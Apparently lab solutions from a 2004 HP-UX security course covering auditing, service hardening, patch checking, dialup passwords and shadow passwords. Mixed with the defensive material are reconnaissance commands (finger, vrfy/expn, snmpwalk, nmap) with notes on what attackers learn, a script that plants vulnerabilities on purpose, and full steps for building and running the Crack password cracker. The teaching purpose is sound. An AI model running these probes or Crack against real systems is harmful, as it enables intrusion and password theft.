programs whenever possible to reduce the amount of logging required from the C2 trusted
system auditing.

Another problem with auditing is the time and effort it takes to interpret the results. Use
command line arguments of the audisp command to filter data.

http://education.hp.com A-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Appendix A
Solution: Trusted Systems Auditing

A–9. SLIDE: Impact of Auditing

Impact of Auditing

Increased Security Decreased Performance

Student Notes
When C2 trusted system auditing is implemented, the system experiences a performance
decrease. It is impossible to predict the additional CPU load because the load depends on
how many users are audited, what type of events are selected for auditing, and what the users
are doing on the system.

The best way to evaluate the additional load is to measure the throughput during a time
frame with a heavy application load, one time with auditing and the other time without
auditing. The two measures can be compared to determine how much the auditing impacts
the throughput.

H3541S D.02 A-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Appendix A
Solution: Trusted Systems Auditing

A–10. LAB: Trusted Systems: Auditing

Part I: Basic Auditing Configuration

This lab requires the system to be configured as a C2 trusted system. Please ensure the
system is configured as a C2 trusted system by using SAM.
1. Use SAM to verify the system is a C2 trusted system:

# sam
enter Auditing & Security
enter Auditing Users

If the trusted system functionality isn't yet enabled, enable it now! Then exit SAM.

2. Display the current status of the auditing subsystem.

# audsys

Question: Is auditing currently turned ON?

3. Enable auditing to log to the file /.secure/etc/audlog1 with a max size of 4 MB.
Specify an auxiliary file of /.secure/etc/audlog2 with a max size of 5 MB.:

# audsys –n –c /.secure/etc/audlog1 –s 4000 \

–x /.secure/etc/audlog2 –z 5000

Verify auditing was configured properly by executing audsys with no arguments.

# audsys

4. When auditing is first enabled, which users are audited by default? Use audusr
command to find out.

# audusr

5. When auditing is first enabled, which events are audited by default? Use audevent
command to find out.

# audevent

6. In order to generate some data in the audit log, telnet into your system and login as
user8.

Do an ll, then immediately exit.

# telnet localhost
$ ll
$ exit

http://education.hp.com A-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Appendix A
Solution: Trusted Systems Auditing

7. View the audit log.

# audisp /.secure/etc/audlog1

Answer the following questions about the content of data logged:

a. How many system calls were logged?

b. Which system calls were logged the most?

c. How can only the system calls for user8 be displayed?

d. Is it useful to have this much data being logged over such a short period of time?

8. Turn off the auditing subsystem.

# audsys –f

9. Clear the audit log files before moving on.

# >/.secure/etc/audlog1
# >/.secure/etc/audlog2

Part II: Auditing Specific Users and Events

Because auditing generates so much data, it is often desirable to enable auditing for selected
users, rather than all users.
1. Disable auditing for all users.

# audusr –D

2. Re-enable auditing for user8.

# audusr -a user8

3. See if your configuration worked.

# audusr

4. Disable auditing for all events.

# audevent -p -f –E

5. Re-enable auditing of successful and failed modacc and login events. The moddac event
family includes all system calls that change the attributes of a file (chmod, chown, etc.).

H3541S D.02 A-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Appendix A
Solution: Trusted Systems Auditing

The login event logs user logins. To see a full list of available events and system calls, see
the audevent man page.

# audevent -P -F -e moddac -e login

6. Ensure that your event auditing configurations succeeded.

# audevent

7. Now turn auditing back on.

# audsys –n –c /.secure/etc/audlog1 –s 4000 \

–x /.secure/etc/audlog2 –z 5000

8. In order to generate some data in the logs, telnet into your host as user8 and try to
change the permissions on the /usr/bin/login utility. Then immediately exit.

# telnet localhost
$ chmod 4777 /usr/bin/sh
$ exit

9. Turn off auditing.

# audsys –f

10. View the audit log.

# audisp /.secure/etc/audlog1

a. Do you see any record of user8's login?

b. Does the audit log indicate the user name?

c. Does the audit log indicate when the login occurred?

d. Why not just look at last/lastb output for this information?

e. Do you see any record of the attempted chmod in the audit log?

f. How can you determine if the chmod was successful?

g. Can you determine what file was being chmod?

h. Can you determine what new permissions the user tried to assign?

i. What other types of system calls appear in the audit log?

j. Do you see any other chmod in the audit log?

k. What types of chmod calls will you be looking for in an audit log?

http://education.hp.com A-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Appendix A
Solution: Trusted Systems Auditing

11. (Optional) Write a short ‘C’ program to convert the decimal number to octal.
# vi /secure/octal.c

main()
{
long num;
printf (“Please enter the number to be converted into octal: “);
scanf (“%d”, &num);
printf (“The decimal value %d has an octal value %o\n\n”, num, num);
}

# gcc /secure/octal.c –o /secure/octal

# chmod 755 /secure/octal
# /secure/octal # enter "PARAM#2" from the chmod audit entry
12. In SAM, unconvert the trusted system back to a minimal Level D security system.

Part III: Cleanup

Before continuing on to the next chapter, restore your system to its original state by running
the netfiles script. When asked if you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

H3541S D.02 A-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Solutions

http://education.hp.com Solutions-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

1–9. LAB: Using Contributed Security Tools

Directions
Carefully follow the instructions below.

NOTE: Do not skip this lab! Contributed software later in this course will not
compile successfully unless you complete these exercises!

Part I: Preparing to Use Contributed Software Security Tools

During the remainder of this course you will create and compile numerous security-related
contributed software tools and programs. Several preliminary steps are required before you
can begin to use these contributed software tools.

1. Many contributed software tools are stored by default in directories under

/usr/local/. In some versions of HP-UX the permissions on these directories are set
to 777, which allows hackers to add, remove, or even replace executables in these
directories. Have a look at the software currently in /usr/local/bin.

# ls –ld /usr/local /usr/local/bin

Your instructor should have already preloaded a number of well-known contributed

software tools in this directory that can be trusted. On your system back home, though, if
the permissions on /usr/local/bin are currently 777, you should evaluate each tool in
the /usr/local directory structure and determine who installed them, and for what
purpose. The swlist –l file | grep /usr/local command will tell you which
products were installed by root via SD-UX; files that aren’t included in this list should be
treated with some suspicion.

2. Some of the contributed software tools in this course reference the /usr/local/sbin
and /usr/local/src directories which don’t exist by default in HP-UX. Create these
directories.

# mkdir /usr/local/sbin /usr/local/src

3. If the /usr/local directory structure is currently world-writable, change the

permissions to 755 to ensure that root is the only user that can add or modify programs in
this directory in the future. Also ensure that these directories are owned by root:sys.

# chmod 755 /usr/local/ /usr/local/*

# chown root:sys /usr/local/ /usr/local/*

4. Add /usr/local/bin and /usr/local/sbin to your PATH variable.

# vi ~/.profile
PATH=/usr/local/bin:/usr/local/sbin:$PATH
# . ~/.profile

H3051S D.02 Solutions-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

5. Some of the tools we will be using this week should only be available to the system
administrator. It is a good idea to store those files on a separate, secured file system that
can be unmounted when not in use. If possible, this secure file system should be on a
separate physical disk from your other file systems so it can be physically disconnected
when not in use.

Determine whether you have a spare disk on your system, by comparing the outputs of
the vgdisplay –v command and ioscan –fnC disk command. Select a disk that is
defined by the ioscan command but is NOT defined by the vgdisplay command.

# vgdisplay –v | grep “PV Name”

ioscan –fnC disk

If you have a spare disk, use it to create a new vg01 volume group containing a 200MB
logical volume called /dev/vg01/secure. Create a VxFS file system in the logical
volume and mount it. Set permissions on the mount point directory to ensure that non-
root users can’t access the file system.

# mkdir /dev/vg01
# mknod /dev/vg01/group c 64 0x010000
# pvcreate –f /dev/rdsk/cxtxdx
# vgcreate vg01 /dev/dsk/cxtxdx
# lvcreate –L 200 –n secure vg01
# newfs –F vxfs /dev/vg01/rsecure
# mkdir /secure
# chmod 700 /secure
# mount /dev/vg01/secure /secure
# chmod 700 /secure
# vi /etc/fstab
/dev/vg01/secure /secure vxfs defaults 0 3

6. In many cases, contributed software tools are developed on Linux, and must be manually
compiled by the administrator for HP-UX. This process is greatly simplified if you order
HP’s free “Linux Porting Kit CDROM” from http://software.hp.com. This CDROM
includes a bundle of header and library files for HP-UX that are 95% compliant with the
Linux APIs. The CDROM also includes the gcc compiler, flex, bison, perl , and many
other tools required to compile and run contributed software. Verify that these products
have been installed on your system from the Linux Porting Kit CDROM.

# swlist –l product | grep –i –e gcc –e flex –e bison –e perl

Perl5.B.5.6.1.E Perl for HP-UX
bison 1.28.2000-12-15 Bison (A superset of yacc)
flex 2.5.4a.2000-12-15 Flex (a superset of lex)
gcc 2.9.2000-12-15 GCC (The Gnu Compiler Collection)

7. It is important to only download contributed software from reputable sources. In the

past year, HP has made more and more contributed software available pre-compiled, as
SDUX packages that you can download and install from http://software.hp.com.
Some of the contributed software security tools currently available at this site include
Bastille, IPFilter, TCPWrapper, and others. If your classroom has Internet access, and

http://education.hp.com Solutions-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

time permits, have a look at this site.

# netscape http://software.hp.com

Another excellent source for contributed software security tools is the CERIAS/COAST
FTP site at Purdue University. Explore some of the tools available on this site, too.

# netscape ftp://coast.cs.purdue.edu/pub/tools/unix

Part II: Backup your Current Configuration

During this course you will be modifying numerous system configuration files. To ensure
that you can easily recover if you accidentally corrupt one of your critical configuration files,
a backup/restore script is included in your /labs/scripts directory. Run the script now
to make a backup of your critical configuration files, then list the contents of the backup to
see what was included.

# /labs/scripts/netfiles -s INITIAL
# /labs/scripts/netfiles -l INITIAL

H3051S D.02 Solutions-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

2–16. LAB: Gathering Information about a Target Host

Part I: Preliminary
Fortunately, a default HP-UX install is reasonably secure. This lab will be much more
interesting if you introduce a few security holes on your system. There should be a spoc
script in your /labs/scripts directory that is designed explicitly for this purpose. Run the
script as follows to introduce some vulnerabilities on your host:

# /labs/scripts/spoc -v finger rwhod exports rpc

Part II: Installing snmpwalk

Later in the lab, you will be asked to run the snmpwalk contributed software tool.
Download and install snmpwalk.

1. Download the net-snmp HP-UX 11.11 binaries from http://www.net-snmp.org/ to

your /tmp directory. For the purposes of this class, you can simply copy the file from the
/labs directory.

# cp /labs/net-snmp/net-snmp*.tar.gz /tmp

2. cd to /, then unzip and untar the file. This should install several SNMP utilities, including
snmpwalk, in your /usr/local/bin directory.

# cd /
# gzip –d /tmp/net-snmp*.tar.gz
# tar –xvf /tmp/net-snmp*.tar

3. Verify that snmpwalk works. Specify the default “public” community string, and generate
an SNMP version 1 query. What do you see?

# snmpwalk -c public -v 1 localhost | more

Answer:

The program should generate a long report of your system and network configuration.
This would be of great interest to hackers!

http://education.hp.com Solutions-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part III: Installing the nmap Port Scanner

Later in the lab you will be asked to run the nmap port scanner contributed software tool.
Download, compile, and install the utility now before proceeding.

1. Download the nmap source code from

ftp://ftp.cerias.purdue.edu/pub/tools/unix/scanners/nmap/ to your
/tmp directory. For the purposes of this class, you can simply copy the file from the
/labs directory.

# cp /labs/nmap/nmap*.tgz /tmp

2. cd to /usr/local/src and unzip and untar the source files.

# cd /usr/local/src
# gzip –d /tmp/nmap*.tgz
# tar –xvf /tmp/nmap*.tar

3. cd to the nmap source directory.

# cd /usr/local/src/nmap*

4. Build and install nmap.

# ./configure CC=gcc
# make
# make install

5. Run a verbose portscan on your localhost to verify that the tool works!

# /usr/local/bin/nmap –P0 –v localhost

Part IV: Exploring Vulnerabilities

Hackers may obtain a fair amount of information about a target host without even knowing a
username and password. The chart below lists some of the vulnerable commands that we
have discussed over the course of this chapter. Try each command, and record the useful
information that a hacker might glean from each command's output.

Command Useful Information Obtained

telnet localhost
rlogin localhost
ftp localhost

finger @localhost

rwho

H3051S D.02 Solutions-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

rusers localhost

telnet localhost smtp

vrfy user24
expn user23

swlist -l product 'PH*' @localhost

swlist –l patch @localhost
rpcinfo –p localhost

showmount -e localhost

snmpwalk -c public -v 1 localhost

nmap –P0 –v localhost

Answer:

Command Useful Information Obtained

telnet localhost OS type and version
rlogin localhost
ftp localhost

finger @localhost Names, usernames, phone numbers, login

times
rwho Hostnames, usernames, login times

rusers localhost Usernames, login times

telnet localhost smtp Names, usernames

vrfy user24
expn user23

swlist -l product 'PH*' @localhost Patch and product information

rpcinfo –p localhost Application information

showmount -e localhost Hostnames, file system information

snmpwalk -c public -v 1 localhost Hostname, platform type, OS version,

network configuration information, and

http://education.hp.com Solutions-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

much, much more!

nmap –P0 –v localhost Application information

Part V: Patching Vulnerabilities

In the previous part of the lab, you discovered that a hacker can obtain a fair amount
information about a target system before entering a single username or password. In this
part of the lab you will attempt to secure some of those vulnerable services.
1. Use the vi editor to create an ominous sounding warning message in /etc/issue.

Answer:

# vi /etc/issue
WARNING! GO AWAY!

2. Configure telnet, rlogin, and ftp to display your new /etc/issue file as a login
banner message, then test it!

Answer:

# vi /etc/inetd.conf
telnet stream tcp nowait root /usr/lbin/telnetd telnetd -b
/etc/issue
login stream tcp nowait root /usr/lbin/rlogind rlogind -B
/etc/issue
ftp stream tcp nowait root /usr/lbin/ftpd ftpd –a
# inetd –c
# vi /etc/ftpd/ftpaccess
class everyone real,anonymous,guest *

3. Configure your warning message to appear on the CDE login screen, too, then test it!
(Remember to remove the “!” comment symbol)

Answer:

# cp /usr/dt/config/C/Xresources /etc/dt/config/C/Xresources
# vi /etc/dt/config/C/Xresources
Dtlogin*greeting*labelString: "WARNING! GO AWAY!
# /sbin/init.d/dtlogin.rc reset

4. What can be done to prevent remote hosts from gleaning any useful information about
your user accounts from the finger service? Make it so! Then test your configuration.

Answer:

# vi /etc/inetd.conf
#finger stream tcp nowait bin /usr/lbin/fingerd fingerd
# inetd -c
# finger @localhost

H3051S D.02 Solutions-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

5. Can you disable the rwhod service to prevent hackers? Make it so! (Note: rwho clients
cache information from rwho broadcasts, so the rwho command may still display
information about your user accounts, even after the rwho server daemon is killed.)

Answer:

# /sbin/init.d/rwhod stop
# vi /etc/rc.config.d/netdaemons
export RWHOD=0

6. Disabling rwhod doesn't prevent the hacker from obtaining usernames from the rusers
service. How can you avoid the dangers of rusers?

Answer:

(Note: the last few arguments on these lines were truncated to fit the page.)

# vi /etc/inetd.conf
#rpc dgram udp wait root /usr/lib/netsvc/rstat/rpc.rstatd ...
#rpc dgram udp wait root /usr/lib/netsvc/rstat/rpc.rusersd ...
# inetd -c
# rusers localhost

7. What can be done to prevent sendmail from leaking usernames to probing hackers?
Make it so!

Answer:

# vi /etc/mail/sendmail.cf
O PrivacyOptions=goaway
# ps -ef|grep sendmail
# kill -HUP sendmail

8. How can you prevent remote hackers from listing patches on your system? Make it so!
Then ask your neighbor to attempt to swlist the patches installed on your machine

Answer:

Execute the following command on your host:

# swacl -l root -D any_other

Then ask your neighbor to test your configuration as follows:

# swlist -l product 'PH*' @ yourhost

http://education.hp.com Solutions-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

9. How can you make it more difficult for hackers to query your snmpdm daemon? Make it
so! Re-run snmpwalk to verify your work. Ask your neighbor to snmpwalk your system,
too.

Answer:

Secure your SNMP daemons with a non-default community string, and ensure that your
localhost is the only host that’s allowed to query the daemon. Restart the SNMP
daemons.

# vi /etc/snmpd.conf
get-community-name: secretstring IP: 127.0.0.1
# /sbin/init.d/SnmpMaster stop
# /sbin/init.d/SnmpMaster start
# snmpwalk -c public -v 1 localhost | more
# snmpwalk -c public -v 1 neighborhost | more

10. Conceptually, what can be done to minimize the danger posed by port scanners?

Answer:

Network firewalls may be used to prevent hackers from remotely scanning hosts on your
corporate intranet. We will discuss firewalls in detail later in the course.

Part VI: Cleanup

Before continuing on to the next chapter, restore your system to its original state by running
the netfiles script. When asked if you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

H3051S D.02 Solutions-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

3–17. LAB: Preventing Hackers from Gaining Access

Programmatically

Directions
Carefully follow the instructions below.

Part I: Registering to Receive HP Security Bulletins

If your classroom has Internet connectivity, and you don’t currently receive the HP Security
Bulletins, take time to add yourself to the mailing list now.

1. Launch your browser and access http://itrc.hp.com/digest/bin/doc.pl

# netscape http://itrc.hp.com/digest/bin/doc.pl

2. If you already have an ITRC account, login using your username and password. If you
don’t already have an ITRC account, create one now and login by clicking “register now”.

[login]

3. On the support information digests screen, click the subscribe check box to the left of
“HP-UX security bulletins digest”, and the “UPDATE SUBSCRIPTIONS” button.

[x] HP-UX security bulletins digest

[UPDATE SUBSCRIPTIONS]

4. When you return to your own office, be sure to register to receive CERT Advisories, too,
by following the instructions on
http://www.cert.org/contact_cert/certmaillist.html.

Part II: Running security_patch_check

In order to simplify security patch management, HP strongly encourages administrators to
run security_patch_check on a regular basis, and to install the recommended patches in
a timely fashion. This portion of the lab walks you through this process.

1. Verify that security_patch_check and perl are installed on your system. If not, the
product may be downloaded for free from http://software.hp.com.

# swlist B6834AA perl

2. Add the /opt/sec_mgt/spc/bin/ directory to your PATH if it isn’t already included.

# vi ~/.profile
PATH=$PATH:/opt/sec_mgt/spc/bin/
# . ~/.profile

http://education.hp.com Solutions-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

3. Determine if you can use your browser to access the security patch catalog at
ftp://ftp.itrc.hp.com/export/patches/security_catalog.

# netscape ftp://ftp.itrc.hp.com/export/patches/security_catalog

If you can’t connect to this site from the classroom, skip to question 5.

4. If the previous step succeeded, then configure the security_patch_check

ftp_proxy variable so security_patch_check can download the
security_catalog automatically at run time. You can use the same FTP proxy
address that is configured in your browser. The 10.1.1.1:8080 address is only an example;
your proxy address will likely be different.

# vi ~/.profile
export ftp_proxy=http://10.1.1.1:8080
# . ~/.profile

5. Run a security_patch_check analysis of your system. If you can’t connect to the

FTP site from the classroom, use the security_catalog file that is in the /labs
directory.

# security_patch_check –r or
# security_patch_check –c /labs/security_catalog

a. Do any of your already-installed patches have warnings associated with them?

b. Are you missing any security patches?
c. Do any of the missing patches have special instructions?
d. Do any of the missing patches require a reboot?

Answer:

Answers will vary.

6. If you manage multiple hosts, it may be convenient to download the security patch
catalog to one host, then use the –h option to analyze other hosts remotely. Use
security_patch_check with the –h option to determine if your instructor’s system is
missing any security patches.

# security_patch_check –r -h or
# security_patch_check –c /labs/security_catalog –h

a. Do any of your already-installed patches have warnings associated with them?

b. Are you missing any security patches?
c. Do any of the missing patches have special instructions?
d. Do any of the missing patches require a reboot?

Answer:

Answers will vary.

H3051S D.02 Solutions-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part III: Preventing Buffer Overflow Attacks

Unless you run simulators, or other programs containing self-modifying code that have a
legitimate need to execute stack code, it is a good idea to set the executable_stack
kernel parameter to 0 to prevent buffer overflow attacks.

1. What is the current value of your executable_stack kernel parameter on your

system?

Answer:

# kmtune –q executable_stack

The kernel parameter should be 1.

2. Change the kernel parameter value to 0 and reboot.

Answer:

# sam -> Kernel Configuration

-> Configurable Parameters

3. When your system finishes rebooting, verify that the parameter changed.

Answer:

# kmtune –q executable_stack

The kernel parameter should be 0.

http://education.hp.com Solutions-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

4–14. LAB: Gaining Access

Part I: Configuring a Dialup Password

Dialup passwords are sometimes used to add an additional measure of security to dial-in
modem ports. Since our classroom machines don’t have modems, this part of the lab
exercise asks you to configure a dialup password on a pseudo-terminal used by a telnet
session. Note that this is not a typical application of dialup passwords!
1. Determine the device filenames used for network access by initiating a telnet session,
then executing the tty command. Record the output from the tty command.

# telnet localhost
Login: root
Password: **

# tty
/dev/pts/ta

# exit

Note that if you were configuring /etc/dialups for a dial-in modem, you could simply
use ioscan –funC tty to find the modem’s device file name.

2. Add the device file you discovered in the previous question to the /etc/dialups file.
All the device files listed in /etc/dialups will require a dial-up password.

# vi /etc/dialups
/dev/pts/ta

3. Unfortunately, HPUX doesn’t provide a built-in mechanism for encrypting the passwords
in /etc/d_passwd. Enter the following program with the vi editor (or simply copy the
program from your /labs/scripts directory).

# vi /root/dialupadd.c

# include <stdio.h>
main()
{
char shell[25], password[25];
char *result;
fprintf(stderr, “Please enter the shell you wish to protect: “);
scanf(“%s”, shell);
fprintf(stderr, “Please enter the password to be encrypted: “);
scanf(“%s”, password);
result = crypt(password, “xx”);
fprintf(stdout, “%s:%s:\n”, shell, result);
}

H3051S D.02 Solutions-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

4. Compile the program.

# gcc /root/dialupadd.c –o /root/dialupadd

5. Use your program to add an entry to your /etc/d_passwd file for /usr/bin/sh.

# /root/dialupadd >>/etc/d_passwd
Please enter the shell you wish to protect: /usr/bin/sh
Please enter the password to be encrypted: xxxxx

6. Check the contents of /etc/d_passwd to see what happened.

# cat /etc/d_passwd

7. telnet to your localhost and login as user1 to see what happens!

# telnet localhost

8. Initiate another telnet session from another window, and again login as user1. Why
aren’t you prompted for a dialup password this time?

Answer:

This second telnet session is assigned a different pseudo terminal device file, which
most likely isn't included in the /etc/dialups file. Only terminals specified in
/etc/dialups will require a dialup password.

9. As presently configured, which users will be prompted for a dialup password?

Answer:

Since there is only one device file in /etc/dialups, only the first user to telnet to the
system will be required to enter a dialup password.

10. Is it possible to set a different dialup password for root? Make it so!

Answer:

Since root is the only user that uses /sbin/sh as a default shell, simply add an entry in
/etc/d_passwd for /sbin/sh.

# /root/dialupadd >>/etc/d_passwd
Please enter the shell you wish to protect: /sbin/sh
Please enter the password to be encrypted: xxxxx

http://education.hp.com Solutions-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part II: Limiting Network Service Access Via inetd and

/var/adm/inetd.sec
The network services provide another avenue by which hackers oftentimes attack Unix
systems. The HPUX /var/adm/inetd.sec file makes it possible to control exactly which
hosts can access which services.
1. Configure your inetd.sec file to allow incoming telnet requests from hosts in your row,
but deny request from all other hosts.

Answer:

# vi /var/adm/inetd.sec
telnet allow 128.1.1.1-3 assuming your neighbors are 128.1.1.1-3

2. Add another line to inetd.sec that allows all hosts except your row-mates to rlogin
to your machine.

Answer:

# vi /var/adm/inetd.sec
login deny 128.1.1.1-3 assuming your neighbors are 128.1.1.1-3

3. Test your configuration! Ask your rowmate(s) to try both an rlogin and a telnet to
your machine.

Answer:

Your neighbors' attempts to telnet to your host should succeed, but their rlogin
attempts should fail.

4. Try another test: telnet up to the instructor’s machine, then see if you can telnet
and/or rlogin back to your own host.

Answer:

The instructor system's telnet attempt should fail, but the instructor's rlogin attempt
should succeed.

5. Be sure to exit your telnet and rlogin sessions to return to your original login session
on your localhost.

6. If you explicitly allow one host telnet access, does that implicitly deny access for all
other hosts?

Answer:

Yes!

H3051S D.02 Solutions-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

7. If you explicitly deny one host telnet access, does that implicitly allow access for all
other hosts?

Answer:

Yes!

8. Does the inetd.sec file make it possible to control access to the network services on a
user-by-user basis, or is access just controlled on a host-by-host basis?

Answer:

/var/adm/inetd.sec only controls access on a host-by-host access.

9. How can you disable telnet access for all hosts? Make it so!

Answer:

# vi /etc/inetd.conf
#telnet stream tcp nowait root /usr/lbin/telnetd telnetd
# inetd -c

10. How can you disable all of the inetd services? Make it so!

Answer:

# inetd -k

11. Does killing the inetd daemon affect your users’ ability to initiate outbound connection
requests? Try telnet'ing to the instructor station to find out!

Answer:

The inetd daemon isn't required to initiate outbound connections; you should be able to
telnet to the instructor's workstation.

http://education.hp.com Solutions-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part III: Controlling Login Access via X/CDE

Even if you have configured dialup passwords and disabled network services, your host may
still be vulnerable to hacker attacks through X/CDE, as you will see in this part of the lab.
For this demonstration, you should work with your neighbor. Choose one machine to be the
hacker host, and one to be the target host.

Target host: ________________

Hacker host: ________________

1. Shutdown X/CDE on the hacker host.

hacker# /sbin/init.d/dtlogin.rc stop

2. From the hacker host console screen, request a login screen from the target.

hacker# /usr/bin/X11/X –query target

3. How does this X/CDE remote login functionality endanger the target host?

Answer:

Once the hacker obtains access to a login prompt, the hacker can start guessing
passwords, and potentially obtain user rights on the system!

4. Create an Xaccess file to prevent other hosts from gaining CDE access to your system.

target# vi /etc/dt/config/Xaccess

5. On the target, force dtlogin to re-read its resources.

target# /sbin/init.d/dtlogin.rc reset

Back on the hacker host display, logout of the CDE session. What happens?

Answer:

The hacker's remote X session should immediately die!

6. Before moving on, restart the hacker host’s local X/CDE dtlogin deamon:

hacker# /sbin/init.d/dtlogin.rc start

Part IV: Cleanup

Before proceeding on to the next chapter, run the netfiles script to remove the
configuration changes you made over the course of this lab exercise.

# /labs/scripts/netfiles –r INITIAL

H3051S D.02 Solutions-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

5–17. LAB: Securing User Passwords

Part I: Encrypting Passwords

The UNIX operating system doesn't include a command to create an encrypted password
from a given ASCII password. The program to accomplish this task can be easily written via
a C program, as shown below.
1. Create the C source code file for the program. If you wish, you can simply copy the
program from the /labs/scripts directory.
# cp /labs/scripts/encrypt.c ~/encrypt.c
# vi ~/encrypt.c
main()
{
char seed[3], password[25];
char *result;
printf("Please enter the password to be encrypted: ");
scanf("%s", password);
printf("Please enter the two digit seed: ");
scanf("%s", seed);
result = crypt(password, seed);
printf("\n The encrypted password is %s\n", result);
}
2. Compile the encrypt.c source code:

# gcc ~/encrypt.c -o ~/encrypt

3. Test the executable.

# ~/encrypt
Please enter the password to be encrypted: class1
Please enter the two digit seed: fn
The encrypted password is fnnmD.DGyptLU
4. Try running the program several times. Enter the same ASCII password each time, but
use a different seed with each iteration. Are the resulting encrypted passwords the same
or different? Why is this advantageous?

Answer:

Even though you entered the same password each time, the varying seed values ensure
that the resulting ciphertext is different for each iteration.

http://education.hp.com Solutions-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part II: Implementing Shadow Passwords

1. Verify that the ShadowPassword bundle is installed on your system.

# swlist ShadowPassword

2. Run pwconv to create the /etc/shadow file.

a. What is in the password field in /etc/passwd now?

b. What fields are populated in /etc/shadow?

c. What are the permissions on /etc/shadow? Why is this significant?

Answer:

The password fields in /etc/passwd should contain x’s.

Each /etc/shadow entry should contain a user name, an encrypted password, and a
timestamp field that indicates when the password was last changed. The other fields
should be empty.

The permissions on /etc/shadow should be r--------, so hackers can’t view user

password information.

3. Will useradd add new users be added to the /etc/passwd file, the /etc/shadow file,
or both? Is the passwd command shadow aware? Try it! Use the useradd command to
create an account for user25, then use the passwd command to set a null password for
the user and force a password change at next login. Then check the /etc/passwd and
/etc/shadow files to see what happened.

Answer:

# useradd –m user25
# passwd –d user25
# passwd –f user25
# grep user25 /etc/passwd /etc/shadow

user25 should be included in both files now.

4. Enable shadow password aging on the user1 account.

a. Ensure that the password is changed at least twice per year.

b. Ensure that users wait at least one week between password changes.

c. Provide a one-week warning before the user’s password expires.

H3051S D.02 Solutions-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Answer:

# passwd –x 180 –n 7 –w 7 user1

5. Before you continue to Part III, revert to a non-shadowed password file.

Answer:

# pwunconv

Part III: Set Up and Execute the Crack Program

1. Before running crack, use the /labs/scripts/spoc script to change a few of your
users' passwords:

# /labs/scripts/spoc -v passwords

2. Download a copy of the Crack source code from

ftp://coast.cs.purdue.edu/pub/tools/unix/pwdutils/crack/ to the /tmp
home directory. For the purpose of this class, you can simply copy the gzip file from
/labs.

# cp /labs/crack/crack*.tar.gz /tmp

3. Since this is a dangerous program, we will install it in the /secure file system rather
than /usr/local. cd to /secure, then unzip and untar the file.

# cd /secure
# gzip –d /tmp/crack*.tar.gz
# tar –xvf /tmp/crack*.tar
4. cd to the /secure/c50a directory for the remainder of the lab.

# cd /secure/c50a

5. Two files must be edited in order for the program to compile properly. Edit ./Crack
first.

# vi ./Crack

First, comment out the “vanilla unix” cc lines, and comment in the gcc lines.

change line 45: #CC=cc

change line 46: #CFLAGS="-g -O $C5FLAGS"
change line 47: #LIBS=-lcrypt

Comment in, and export, the lines for the gcc compiler (note that you will have to add
the export command!):

change line 50: export CC=gcc

http://education.hp.com Solutions-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

change line 51: export CFLAGS="-g -O2 -Wall $C5FLAGS"

change line 52: export LIBS=-lcrypt

6. The second file that needs to be modified is ./src/libdes/Makefile. There, too,

comment out the cc lines and comment in the gcc lines.

change line 38: #CC=cc

change line 39: #CFLAGS="-O $(OPTS) $(CFLAG)"

Comment in the lines for the gcc compiler:

change line 41: CC=gcc

change line 42: CFLAGS= -O4 -fomit-frame-pointer -funroll-loops
$(OPTS)

7. The third file we need to modify is ./scripts/mkcracker. (Add a –e on the make

command.)

change line 23: (cd ../libdes ; make -e) || exit 1

8. Create a directory for the binaries.

# mkdir –p run/bin/hp-ux-b-9000

9. Make the crack binaries.

# ./Crack –makeonly

10. Make the crack dictionaries.

# ./Crack –makedict

11. Read the crack documentation.

# more manual.txt

12. Execute the Crack program. Let Crack run for awhile before proceeding to the next
step.

# ./Crack –nice 10 /etc/passwd

13. View the results of the Crack program. Note that you may reissue the Reporter
command as many times as you wish to track crack’s progress over time.

# ./Reporter -quiet

14. Left to its own devices, Crack will run for hours, attempting to guess your users'
passwords. Unfortunately, Crack devours a huge amount of CPU time in the process.
You may wish to temporarily pause crack by doing the following:

H3051S D.02 Solutions-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

# top # note crack's current CPU time

# touch ./GOTO-SLEEP # puts crack process in a "sleep" state
# top # watch crack's CPU time drop!

15. If possible, let Crack run over night, then run ./Reporter again. Before moving on to
the next chapter, halt Crack by typing:

# ./scripts/plaster
# make tidy

Part IV: Cleanup

Before continuing on to the next chapter, restore your system to its original state by running
the netfiles script. When asked if you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

http://education.hp.com Solutions-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

6–14. LAB: Protecting User Accounts

Part I: Restricting Access to the Root Account with

/etc/securetty
If your shop has several co-administrators for each machine, you may wish to configure
/etc/securetty so you can record who is using the root account when. This
